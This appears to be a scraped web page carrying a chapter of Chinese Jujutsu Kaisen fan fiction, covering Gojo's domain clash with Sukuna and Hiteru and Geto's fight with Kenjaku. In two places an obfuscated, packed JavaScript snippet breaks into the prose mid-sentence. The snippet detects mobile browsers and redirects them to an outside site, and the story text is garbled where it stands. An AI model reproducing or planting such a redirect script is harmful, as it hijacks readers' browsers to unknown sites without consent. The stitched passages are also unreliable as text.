在他兀自纠结的时候,虎杖悠仁的声音从人群中响起。他一如往常,就仿佛五条悟只是要去远一点的地方出差而已,用清亮的声音向他道别:“老师!无下限太碍事了!” 真是个好孩子啊,虎杖!日下部笃也在心中感谢道。 “加油啊!老师!!” 五条悟如他所愿收回了【无下限咒术】,让虎杖悠仁的手掌切切实实地碰到了自己的后背:“当然!交给我吧!!” 大厅的气氛热烈了起来,五条悟从学生们身边走过,感受到一个个手掌拍在后背的力量,尽情体验着充实的归属感,一路走到了已经等在门口的夏油杰和日照面前。 “那感觉不错吧?”日照双手抱臂,盯着那一张张笑脸。 “超赞的!”五条悟语气昂扬,但笑容却一点点地消失了。 它来到了夏油杰的脸上,那是一个没有任何其他意味的、简单的笑脸:“去做你想做的事吧!” 五条悟抬起手握拳,敲在了他的胸口:“谢啦。” —— 2018年12月31日,新宿,12时24分。 顶楼的视野开阔,结界外已经下起了小雪。宿傩盘腿坐在天台边缘,视线漫无目的地漫游在已经彻底空无一人的新宿:“你还待在这干什么?” 羂索不知道从哪里搞到了一身高专制服,领口还有黄色的漩涡纽扣。他推了推眼镜,语焉不详地说:“我可是推后了自己的计划来给你加油的啊。” 在这之前离开宿傩的话会被五条悟他们杀掉的吧? “呵,随便你。”反正他们之间的“束缚”已经完成,羂索的死活已经与宿傩没有任何关系了。他对羂索的“让全人类与天元进行超重复同化”的计划没有丝毫兴趣,连抱着试试看的心态都提不起兴致。羂索眼中的“美味”对宿傩来说太过寡淡。 “不用在意我,”羂索笑着站起身,“我很期待你哦,宿傩。” 那种轻佻的语气让里梅升起了一些怒意:“注意你的语气,羂索。” 宿傩还是一副事不关己的模样,羂索吐吐舌头,侧目向不远处看去。等待千年的理想似乎已经在触手可及的地方,可是在那之前他还必须继续忍耐一段日子。原本的计划的确是在宿傩吸引了五条悟和高专众人的时候尽快完成泳者的清理,结束死灭洄游。 他在所有受肉型泳者的咒物上施加了标记,在改造型泳者的大脑施加了咒印,因此基本可以掌握大部分泳者的位置。至于主动参与到死灭洄游中的咒术师和非术师,虽然无法准确找到他们,但这部分人的数量并不多,可以留到最后慢慢处理。 哪怕是他,面对即将实现的愿望时心中还是会像孩子一样雀跃。 从死灭洄游开始后......不,是在冲绳那件事发生之后就一直追在他身后的日照在这近两个月的时间里太安静了。在离开宿傩之前,他必须要确认几个人的存在。 通过自己的结界,羂索可以观测到结界内咒力总量的变化。因此对于乙骨忧太这样拥有庞大咒力的对象几乎不可能穿越结界而不被他发现。尤其是他还有可能模仿忧忧的术式进行长距离移动,羂索对这样的对手提起了十二分的警惕心。 另一个是日照。当年差一点就让他成功抢走狱门疆,也就是在那之后羂索对这个自己无意之中创造出来的怪物多分了一些目光。【代理人】究竟能做到哪种程度......探求极限的心理刺激总是让人欲罢不能。 最后就是伏黑甚尔。极致的肉|体可以让他逃过结界的监视,自由进出。 羂索相信他们肯定不会放过这个机会,就看他们会选择谁来截杀他了。但是,只要宿傩赢了五条悟,日照以外的咒术师就不一定有精力再来管他了,那个时候才是真正的自由行动时间。在那之前,他只需要保证自己待在咒术师们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376714|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法插手的战斗范围内就好。 无法忽视的恐怖咒力在远处的楼顶爆发,宿傩说:“终于来了啊。” 庵歌姬跳着舞。她将神乐铃上的铃铛取下,用五彩绳带系在一起戴在了手腕上,这样她的双手就可以用来结掌印,让这个仪式变得更加完整。掌印、咒词、舞乐,从咒力被唤醒、流入身体的那一刻开始,将其变成仪式进行升华。 乐岩寺嘉伸的术式让他本身就是一个能够放大声音的扩音器,这个有些洁癖、泥古不化却奇迹般没有和总监部一起腐化完全的老人在此时得到了新生代的信任。也许关系的缓和是他从关押夜蛾正道的监牢里离开后开始的,与他同时从监牢中离开的还有夜蛾正道留在他身上的的“诅咒”。 本应在离开监牢后被以炳为首的家族术师阻杀的夜蛾正道因为伏黑甚尔全灭禅院家而活了下来,可“诅咒”却依旧生效了。 干枯到骨节分明的手指按压着琴弦,乐岩寺嘉伸未发一语。 “开始吧。” 听到五条悟的话,伊地知洁高发动了结界术。凭依在咒符上的力量如烟雾般混淆了高楼顶层的咒力流动,咒符一张张燃烧,伊地知洁高拼上了性命。其实这个工作由谁来做都可以,但被五条悟托付给了他。 自己分明是连逃走的勇气都没有的人,所以他就算拼死也要回应这份信任。 五条悟摆好了起手式。 环绕在他身边的咒力几乎要凝聚成实体,但这样庞大且明显的波动却没有传达到宿傩一方的感知中。 这多亏了伊地知洁高展开的结界。 日照比出手印,声音差一点就要淹没在轰鸣的咒力狂风中:“要加大火力了哦。” 伊地知洁高无暇答话,只是压榨着体内所剩不多的咒力来维持混淆视听的结界。 戒律,无慢,星之渊,闭合年轮。 尽情想象吧,在这由数名咒术师构建出来的、咒力输出效率120%的空间中,将在假想中存在的未来可能性赋予现实,由此创造出的是蕴含无穷毁灭之力的假想质量。 五条悟脚下的地面寸寸龟裂,混凝土无法承受这过于沉重的压力,翘起的碎片被卷入环绕的旋风之中。 “九网、偏光、乌鸦与声明、表里的间隙。” 日照不得不抬起手挡住脸部才能勉强在咒力狂流中睁开眼睛,庵歌姬手腕上的铃音不见丝毫紊乱,继续跃动着。 咒力聚集于一点,像是远洋的暴风雨被按下了停止键,日照听到了胸口一声重重的心跳。伊地知洁高的结界也无法再模糊这样尖锐而又充满威慑力的咒力气息,远处的宿傩等人感知到了这不同寻常的力量。 “真是个怪物!”羂索扭头就跑。 这些家伙!!张开的结界让宿傩误判了五条悟的起手,直到最后一刻才感知到那毁天灭地般的咒力输出。他面色严肃,张开双手接招。 这是没有省略任何一个步骤释放出的,250%的—— “虚式·茈。” 剧烈的震荡连身处主战场外临时据点中的诸多咒术师都感觉到了。昏暗房间内唯一的光源就是被众人围在正中的数十张监视屏幕。每个屏幕都连接了冥冥操纵的乌鸦的视野,为临时据点的咒术师们提供战场上的最新情报。 “终于开始了啊。”日下部笃也捂着嘴巴,随着乌鸦的视野看到了尘幕中的那两道身影。 眼前的这台直达天花板、高约五六米的巨型器械是冥冥为了向钻咒术规定空子设立的地下社会斗技场的客人们直播五条悟vs两面宿傩受□□而精心置办的,在涩谷事变后顾客的阶层得到了合法扩展,哪怕不开盘设立赌局,光是付费观看的收入就有超过50亿......这场战斗只要对咒术界有所了解的人都不会选择错过,里面不乏因死灭洄游而深入其中的普通人。 “冥小姐。”夏油杰的声音让狠狠赚了一笔的冥冥抬起手向他示意。她偏头,靠近夏油杰一侧的屏幕上全是乌鸦从高空中飞速掠过的景象,仿佛在寻找着什么。 很快,黑鸟们便锁定了目标。 “呵呵,时机正好。”冥冥打了个响指。 夏油杰最后从屏幕里看了一眼新宿战场上的五条悟,枷场姐妹跑到他身前。他只是轻轻拍了拍她们的头,在学生们的加油声中和身边的人一起走进了黑暗里。 羂索的状态说不上好,反转术式运转时产生的白色蒸汽遮住了他受到创伤的半边身子。他的速度还是不够快,没能完全逃离“茈”的攻击范围,哪怕只是余波都差点让他失去行动能力。 这一招的力量远超羂索的想象,而且他很确定自己没有错过那个咒力气息。日照选择先打宿傩?还是在辅助五条悟发出“茈”之后就来找他? 在感知到天上飞过的乌鸦时,羂索知道了他的选择。 “你还没死啊,真人。” 率先抵达第二个战场的正是缝合脸的特级咒灵,它看起来对上次战斗的战斗还心有余悸:“上回我可是真的差点就要死了!!” 不过,这种时候它只能庆幸当时夏油杰的反应足够快。它舔着嘴唇,尽管主动在羂索面前现身,它却没有贸然靠近。 “你变得畏首畏尾了啊,虽说术者给了你不小的自由,但战斗的时候还是需要遵守术师的要求吗,”羂索看向脚下,嘴边露出预料之中的笑容,“果然还是想要亲自体验一下传说中的【咒灵操术】。” 埋藏在地下的无数木枝破土而出,瞬间成长的数根枝条卷向跃起躲避的羂索,另有数十颗植物木团飘浮在半空中,猛长出的木刺向他扎去。 花御的气息微不可查,在它的操纵下,一棵满载植物种子的灌木缓缓露出了真面目。 羂索只是灵活地躲避为了牵制自己的动作而来的那些枝条,没有使用【仳】。十秒的释放间隔是【仳】最明显的限制,而且九十九由基在薨星宫曾经用领域展延冲破了【仳】的进攻,术式的释放时机就显得更为重要。 不过,倒不必打得这么小心翼翼。 羂索落地,能够吸收咒力成长的植物种子已经铺天盖地地向他飞射过来。他向前张开手,发动了【仳】:“毕竟那不就是在说自己对术式的施用没有自信嘛。” 真人仿佛得到了某种讯号,迅速转变为了遍杀即灵体的形态,在【仳】的范围达到半径五十米的极限后,向羂索的方向冲了过去。 漫天的种子雨消散得无影无踪,正午的阳光将立于空旷大道中间的人拉出一道极短的影子,然而却有一只脚突兀地踩了上去。 羂索微微回头,和这具身体最亲密的半身打了个照面。 日照像是闪现一般突然出现在了羂索的背后,手中的咒具已然亮起狰狞的威光。 70.同时开辟的战场 忧忧的术式?不,不是。他为什么能够突然出现在这里? 疑问在羂索心中一闪而过,但现在明显不是深究这个问题的时候。得益于这双眼睛和刻在身体里的肌肉记忆,羂索躲开了来自日照的突袭。 【仳】还在冷却期,他们会选择这个时间段发起进攻也不足为奇,是不好不坏的策略。羂索手握其他的底牌,他曾在涩谷当着五条悟的面用过一次,也曾在薨星宫短暂地将自己拥有的第三个术式赋予给了领域,他相信他们不可能对此毫无所觉。 不过被知道自己“拥有第三种术式”的事实也无所谓,在羂索真正使用它之前,日照的右眼不会看穿这个术式的术式效果。 术式反转——反重力机构。 在不可抵抗的重压降临到羂索周身三米范围内前,他骤然感觉到体内的咒力突然紊乱起来,本该出现的超重力并没有如约降临。 “!!”羂索露出了“真难搞”的表情,不过嘴角还在上扬。尽管提前有所预料,对于“日照的术式释放速度极快”这一点也做好了心理准备,可事实当真摆在自己眼前的时候,他还是不由自主地有些嫉妒这与生俱来的天赋。 日照后发制人,他的术式居然比羂索的进攻更早一步生效。第一刀奔着额头去的横斩被羂索躲过,第二击回拉因为释放术式而没什么攻击力,只堪堪在羂索胸前的衣服上留下了一道血痕。 羂索没有给他伸手的机会。 现在他们双方都持有【仳】,对能够夺走他人术式的术式反转的使用方法了然于心,在这一点上羂索稍微处于下风。持有三个术式的大脑已经接近极限,羂索选择用【仳】拿走【代理人】的可能性并不高,为了强行夺走日照的术式而扔掉自己现在所拥有的几种术式之一似乎也并不划算。 但日照并非如此,就算他还留着万的【构筑术式】没有用,也有可能选择强行拿走羂索的术式。毕竟他曾经揣着四个术式和宿傩打架,而且他要拿也只会选择拿走最重要的那个。 被拿走转移大脑的术式的话会发生什么,连羂索本人都不清楚。 将距离拉远到一个还算安全的地方,羂索撩拨着自刚才见面起就面无表情的日照:“你们兄弟之间很久都没打过了吧?怎么样,怀念吗?” 真人和花御还在,那夏油杰肯定也在附近。羂索边说边寻找着日照的盟友,同时躲避真人层出不穷的进攻灵感和花御的辅助攻击。 “真是少见的光景,你多久没有这样上蹿下跳的狼狈样了?”日照的表情缓和了一些,也有心情调侃起来。 八分是说给日照星海听的,剩下的羂索听没听进去就是两回事了。 “躲在咒灵身后畏畏缩缩不像是你的风格,夏油杰。”羂索没有理会日照的话,对着隔壁楼层的顶端说道。 自知早晚会被发现,夏油杰干脆利落地一跃而下,和日照一前一后将羂索困在了这条大道的中央。 “只有你们两个吗?我还以为你们能够稍微沉得住气一些,等到宿傩和五条悟的战斗出结果再来找我的麻烦,没想到......”羂索的未尽之言在场众人都明白,但仍旧无人理会。 连续被冷处理的羂索撇嘴摊手。能说得上话的老朋友太少,再加上活得太久,羂索见到熟悉的人就容易滔滔不绝,尽管大多数时间都是他在自言自语。 “准备好,”他不怀好意地说,“要来了哦。” 能够完全躲避【仳】的技法只有领域展延,因为它不是单纯的攻击型术式,更像是直接在术式对象身上施加诅咒,能够改变的只有“施加”这一过程,又或者在“诅咒”生效后极短的时间内解除诅咒。后者除了一些极为少见的特殊咒具和【代理人】以外,日照也想不出什么好的应对方法,所以选择了前者来克制【仳】。 因为刚才已经成功免除羂索施放“反重力机构”,所以日照自然而然认为这一次也能阻止羂索使用【仳】。当人在某一方面达到了极致,也就是通常所说的霸占了第一位太久之后,总会天然地变得自负,不然就会疑神疑鬼,担心不知道什么时候会从身后追赶上来的超越者。 日照的性格使然,他永远在向前看,自然也就没能留意到从背后追上来的阴影。 夏油杰极为信任他,不需要语言沟通,他们同时向前准备进攻。遍杀即灵体形态的真人疾步前行,夏油杰召来虹龙,本人借着巨大龙形咒灵的身影遮挡视野,快速接近着羂索。 日照的右眼没有戴眼罩,他闭上左眼,只用睁开的淡白色眼睛死死盯着羂索。 三只一模一样的眼睛撞在一起,羂索体内咒力流动的动态是日照最熟悉的方向,但......有什么地方不一样。 日照的右眼微微睁大,手握咒具前冲的动作顿了一下。这不足一秒的停顿被羂索揽入眼中,他嘴角的笑意再也掩盖不住。 若论持有【仳】的时间,他当然比不上日照。可他这千年拥有过各种各样的术式,每样术式都曾被他开发到极限,若这样讨论起来的话,他对术式的钻研和利用要远胜这个还算年轻的咒术师。 无形的冲击扫过,术式生效的范围远超极限五十米,羂索看着日照身上环绕着的柔软领域,诚心实意地夸赞道:“你果然是为了咒术而生的人,弥山。不过,看起来这次是我更快一些呢。” 日照的心沉了下去,立刻去查看夏油杰的情况。 冲在最前的虹龙的半个头颅已经被分解殆尽,被击破弱点的咒灵已经无力回天,它坚硬的外皮也败在了“分解”的诅咒之下。因为依靠灵魂维持肉|体的外型,所以真人现在勉强还能维持外貌,可如果咒力被不断蚕食殆尽,它也会像虹龙一样和这个世界说拜拜。 夏油杰护住头面的双手已经血肉模糊,手肘处露出了莹白的骨头。 羂索这混蛋......为了提高术式的释放速度,减弱了咒力输出效率,还能同时扩大术式范围?日照利用【代理人】替夏油杰终结了【仳】不可停止的分解诅咒,夏油杰将嚎叫着的真人收了回去。 想要再次召唤它出来还需要一段时间......真人这颗棋子总是发挥不出最大的作用就被打断。 因为术式施放的条件被更改了,所以已知的间隔时间也不能以常理来考虑。但是日照不准备放弃这个机会。 【代理人】的术式对象在不进入领域的时候只能有一个,如果下一次的【仳】是完全形态被释放出来的话,日照就不能去赌在中招之后利用【代理人】为他们免除分解。这个术式的恐怖之处就在于一旦开始就极难结束的、对咒力与其凭依的物体进行的双重分解,以及这个过程发生的速度。 鹿紫云一利用“瞬间放出全部咒力”来避免了身体被完全破坏,但能允许这一方法可行的前提是不完全的【仳】。当时日照虽然念诵了咒词,但并非使用了全力。 羂索不会有这样的犹豫,如果日照不能在他使用完全状态的【仳】之前阻止他,被击中的术式对象会在瞬间灰飞烟灭。 坐在电视机前关注着外面的日照星海握紧了拳头。 好在从现在的局面来看,羂索为了提高术式的释放速度舍弃了一部分攻击力,因此夏油杰的伤并不算严重。 羂索突然放任自己的笑声填满了这片街道。 “......你笑什么。” 羂索脸上还残留着笑意,语调轻快:“你居然还问我为什么发笑?不过也是,我本来应该以更严厉的态度对待你。” 这种语气让日照想起现在仍好好活在五条本家的祖父祖母。他已经想不起来那两个老人的面孔,仿佛他从未正视过他们,但是被迫跪在他们面前、以看不见上半张脸的姿态盯着那一张一合的嘴巴时听到的训诫被羂索的话勾了起来。 “即便灵魂变得完整,术式得到了补完,但你依旧无法超越生与死的限制。能够随意掌控生命与死亡的,是神啊。倒不是说我对你有这么大的期待,但同样作为有可能诞生的、超越我手的存在,你的‘进化’远不及我的预期。” “如果这就是你的极限,”羂索眯起眼睛,不加掩饰的失望从中流露出来,“我对你的兴趣也就到此为止了。” “你......”日照弥山张口,却没能完整地说出自己想说的话,眼睛一闭一睁就被人换到了生得领域里。 他和眼前的电视机大眼瞪小眼。 说起来这台电视机在星海刚刚住进来的时候还是老旧笨重的台式机,现在已经升级成了宽屏薄薄的一台,得益于这个巨大的屏幕,弥山可以透过星海的眼睛清楚地看到外面发生了什么。 羂索看着那个只说了一个字就低下头,然后颠着手中咒具不再说话的青年。 换过来了吗。 “为什么是我们?” 日照抬头,明明是同一张脸,但因为灵魂的不同而展现出了全然相反的神态。夏油杰已经做好了准备。 羂索耸肩,随意解释道:“没什么特别的理由,硬要说的话,当时的我大概只是想知道从出生起就形影不离的你们,如果失去了自己挚爱的半身,究竟会发生什么有趣的事呢?我很好奇,也很期待。” 为了可能降生的六眼而潜入了五条家,却在偶然间发现了这对兄弟。但大概“期望越大,失望越大”这句话应验了,日照星海与日照弥山的确成长到了可以令他另眼相看的程度,但却没能超越各自的极限。 为了增添实现理想的筹码,又或者是真的好奇他们失去彼此后可能发生的进化,羂索制造了冲绳海岸的惨剧。 日照星海的尸体能够完好无损地保留下来是意外之喜,而且【仳】也带给他不少好处,比如不用得到天元就可以威胁小金增加违反死灭洄游永续性的规则,省去了他很多功夫。 夏油杰挥手,从他身后的漆黑裂缝中涌现出无数低等级咒灵,它们蜂拥而至,凭借庞大的数量组成了汹涌的咒灵潮。 【仳】的确天克【咒灵操术】,但若以数量来抗衡不可抵挡的分解,【咒灵操术】也能够突破【仳】的防线。 “果然选择这招吗!”羂索早就料想到了这一点,组成咒灵潮的虽然都是低级咒灵,可也不能降低【仳】的输出效率,没能在一瞬间完全分解的后果就是被咒灵浪潮淹没。至于十秒的间隔时间,就拉开距离用“反重力机构”来填补。 日照选择和咒灵浪潮同时向前。羂索没有错过他的行动,视线扫过他手里的那柄刀,暂时压下心中的疑惑。 为什么不用雷切? 从一开始偷袭的时候用的就是这把咒具,伪六眼没有看穿咒具的特性,似乎只是很普通的低等级咒具而已。 日照冲入了【仳】的术式范围内,但他不准备利用展延来躲避。他的确进入了羂索的攻击范围,但羂索又何尝不是进入了他的进攻范围内? —— 发挥出250%输出效率的”虚式·茈”几乎摧毁了半座城市,宿傩已经感知不到里梅的气息了。他用反转术式修复了因为抵挡“茈”而受损严重的双手和面部,透过尘幕看到了那个年轻的六眼术师。 不知名的直播网站上,无数评论疯狂刷新着,出现最多的词汇有“现代最强”、“史上最强”以及“挑战者”。 “你似乎误会了什么。我要说明一点,你才是那个挑战者。” 宿傩嗤笑一声:“看来一次偷袭成功给了你不小的信心啊。五条悟,你也不过是俎上之鱼里跳得最欢的那一个!” “先把你的鳞给剥掉!!” 临时据点内,所有人紧张地观看着战场形势的变化。虎杖悠仁已经快将头扭成风扇了,但没有人去苛责他的不稳重,因为大家都同他一样左右为难。 羂索和夏油杰、日照那边是先打起来的,不到五分钟的时间里已经来来回回过了几十招,现在五条悟和宿傩这边也逐渐进入了状态。 乙骨忧太做好了随时出发支援的准备,他这过于积极的态度引来了鹿紫云一的不满。 “宿傩用领域展延中和五条的【无下限咒术】......” 日下部笃也看到宿傩成功接触到了五条悟,瞬间就做出了这样的判断。在涩谷地下时,据五条悟所说,那些前去拦截他的特级咒灵就是用这种方法中和了他的无下限。 领域展延类似用一个没有被赋予术式的领域包裹身体,以此来中和对手的术式。这并不是一件能够轻松做到的事情,咒术师这一方除了那几个特级和某个天赋异禀的家伙之外几乎没人能做到。 日车宽见默不作声。 宿傩能学会展延并不令人惊讶,天使说道:“但是在使用展延的同时没有办法使用生得术式,即便是宿傩也不能改变这一点。” 宿傩在封印【无下限咒术】的同时也封印了自己的【御厨子】,如今只依靠单纯的咒力操作在和五条悟对抗。 鹿紫云一皱眉:“但是宿傩简直如有神助,在使用展延和生得术式之间的切换根本看不出破绽。如果不谈论术式的相性,一定是宿傩的咒力输出效率更高一些” 虎杖悠仁突然提问:“那如果是伏黑的术式呢?召唤出来的式神在使用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382137|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展延时也会消失吗?” 这是未知数,如果单看宿傩选择的战术,似乎虎杖悠仁的说法有几分可信度,但因为他们没有第二个【十种影法术】可以用来试验,因此宿傩究竟是做不到还是在隐藏着什么,谁也不清楚真相为何。 “如果宿傩还有除了展延以外的方式能够中和无下限的话,五条悟会输。” 来栖华觉得天使不应该在战斗刚开始就这样泼冷水,不过她的话总是一针见血。 “......有人知道领域展开能剥穿五条的无下限吗?”日下部笃也问。 虎杖悠仁想起五条悟带着他一起进入漏瑚的领域中时发生的事:“可以的,这是五条老师亲口说的。” 他们现在才后知后觉,他们对五条悟本身的战斗力了解并不够充足,相反五条悟对他们每个人可以说了如指掌,经常突然出现在训练场上指出各种问题,然后又趁人不注意的时候溜走。 毕竟,谁能够有“资格”去指点最强的战斗呢? 他们能做的也只是在战场后方进行一些无关痛痒的分析罢了。 “那也就是说只要宿傩展开领域,再在领域内想办法击中小悟的话......”星绮罗罗说道,他冒出了一些冷汗:“这岂不是只要宿傩的领域不输给小悟,他就赢定了吗?” 机械丸并不赞同这一说法:“如果这样能够一锤定音的话,宿傩应该在一开始就选择这么做。” “别忘了宿傩的领域是不会闭合的开放式领域,”胀相的声音盖过了其他的争吵,敲打在众人的心中,“但他不会在领域的对拼中获得决定性优势。” 他们都不知道五条悟会选择什么样的方法来克制宿傩的开放式领域。 西宫桃:“可谁也不知道他们的领域对撞会发生什么事......” “不,问题不是这个。你们讨论的重点中最开始就偏了。” “真依?” 禅院真依抱着手臂,并不轻松地说:“天使说的‘其他的方法’除了领域,难道更应该考虑的不是【十种影法术】吗?” 魔虚罗。 冥冥微微掀开挡在面前的发辫:“禅院家的那个宝贝吗......且不说魔虚罗有没有‘大脑’这个部位,假设宿傩还没有收服魔虚罗,他只能像在涩谷时那样以多人降服仪式的方式将它召唤出来,不过......” 宿傩还未收服魔虚罗的可能性极小。 他会利用什么方法来让魔虚罗适应五条悟的【无下限咒术】? “但是这么说的话,宿傩也应该第一时间叫它出来赶快适应无下限才对。”星绮罗罗不解,但他的问题没能等到回答。 “要开始了。”日车宽见的目光没有离开反馈战场画面的屏幕,沉声说道。 咒术战的顶点——领域展开。 五条悟比观战的众人更早地想到了他们提出的种种问题。而且他还从夏油杰那里知道了一个令人不安的消息,关于宿傩为什么能够那么快就从灵魂损伤中“恢复”过来的猜测。 战斗中,局势瞬息万变。他和宿傩同时察觉到了对方的想法,大概是“啊,就是现在了吧”之类的感觉,两人同时比出手印,眼中难掩兴奋。 “领域展开——” ——【无量空处】 ——【伏魔御厨子】 伏魔神龛一闪而过,随即被闭合的漆黑结界关入内里。 关注着这场战斗的所有人都是第一次亲眼目睹宿傩的【伏魔御厨子】,这个传说中的开放式领域。 “总觉得......”好像没有想象中的那么恐怖? 西宫桃的这个想法很快被天使否决了:“宿傩的领域最大展开半径能够达到200米,而且包括地上和地下。如今这个开放领域只扩张到了超过【无量空处】一些距离,是他刻意控制的结果。” 日下部笃也的注意力在五条悟的领域结界上:“他是更改了构筑领域的对内和对外条件来避免自己的结界被宿傩从外部剥穿吗!?” “但这样不能完全避免吧?只是剥穿的速度变慢了......那五条老师只要在此期间对宿傩造成足以让他无法继续维持领域的伤害就够了!” 乙骨忧太的想法和领域内的五条悟不谋而合。 凶恶的神龛出现在宿傩身后,他原本的确打算利用开放式领域的天然优势从外部剥穿五条悟的【无量空处】,但领域相碰的瞬间,他就明白五条悟有备而来。 “哈哈!”不管是天元那个老太婆还是天使把他的领域说了出去,看来想用开放式领域给眼前这个嚣张的六眼术师一个下马威的想法是行不通了。不过,问题不大。接下来就看是五条悟先得逞,还是他的【伏魔御厨子】先刺破【无量空处】了。 如果说有关领域的情报被泄露......他们彼此彼此啊。 在领域展开持续期间,术师本人仍能够使用赋予给领域的生得术式。在充满了斩击和无形的“信息炸弹”的结界空间内,五条悟和宿傩不约而同选择了近身搏斗。 双方领域的必中效果相互抵消,所以在领域对抗分出胜负之前他们才能拥有一段自由行动的时间。 在宿傩的拳头突破无下限、留下“被触及”的感觉的时候,五条悟意识到宿傩居然在领域内仍然能够使用展延来中和他的无下限! 真的假的啊......?领域套领域,这是人能做到的事?但是惊讶归惊讶,就算中和了无下限又能怎么样!?不过是把刚才在领域外的战斗搬到领域内了而已!! 五条悟的体术虽然略逊于伏黑甚尔那个肌肉怪物和夏油杰这个格斗爱好者,但要是因此就小看他的拳脚功夫可是会吃大亏的。 他一拳打中了宿傩手臂下方的位置,从拳头上传来的力量让宿傩下意识皱了一下眉毛。 “别随便兴奋起来啊!”宿傩迅速回击,很久没有遇到能让他稍微提起兴致的对手,在漏瑚死后五条悟还是第一个。至于那个同为五条家的小鬼,只能说占了术式的便宜吧。 “在说你自己吗?”五条悟挥出重拳,但宿傩的身影却从他眼前消失了。 !? “呵呵。”不冷不热的笑声从背后传来,宿傩的身体和他贴靠在了一起,通过展延中和了无下限之后,一只手掌碰到了他。 坐在监视器前的众人不由自主地同时倒吸一口冷气。 “老师!!”虎杖悠仁难忍焦急,起身喊道。 圆形的结界破碎,显现出来的两道身影中,五条悟已然满身血痕。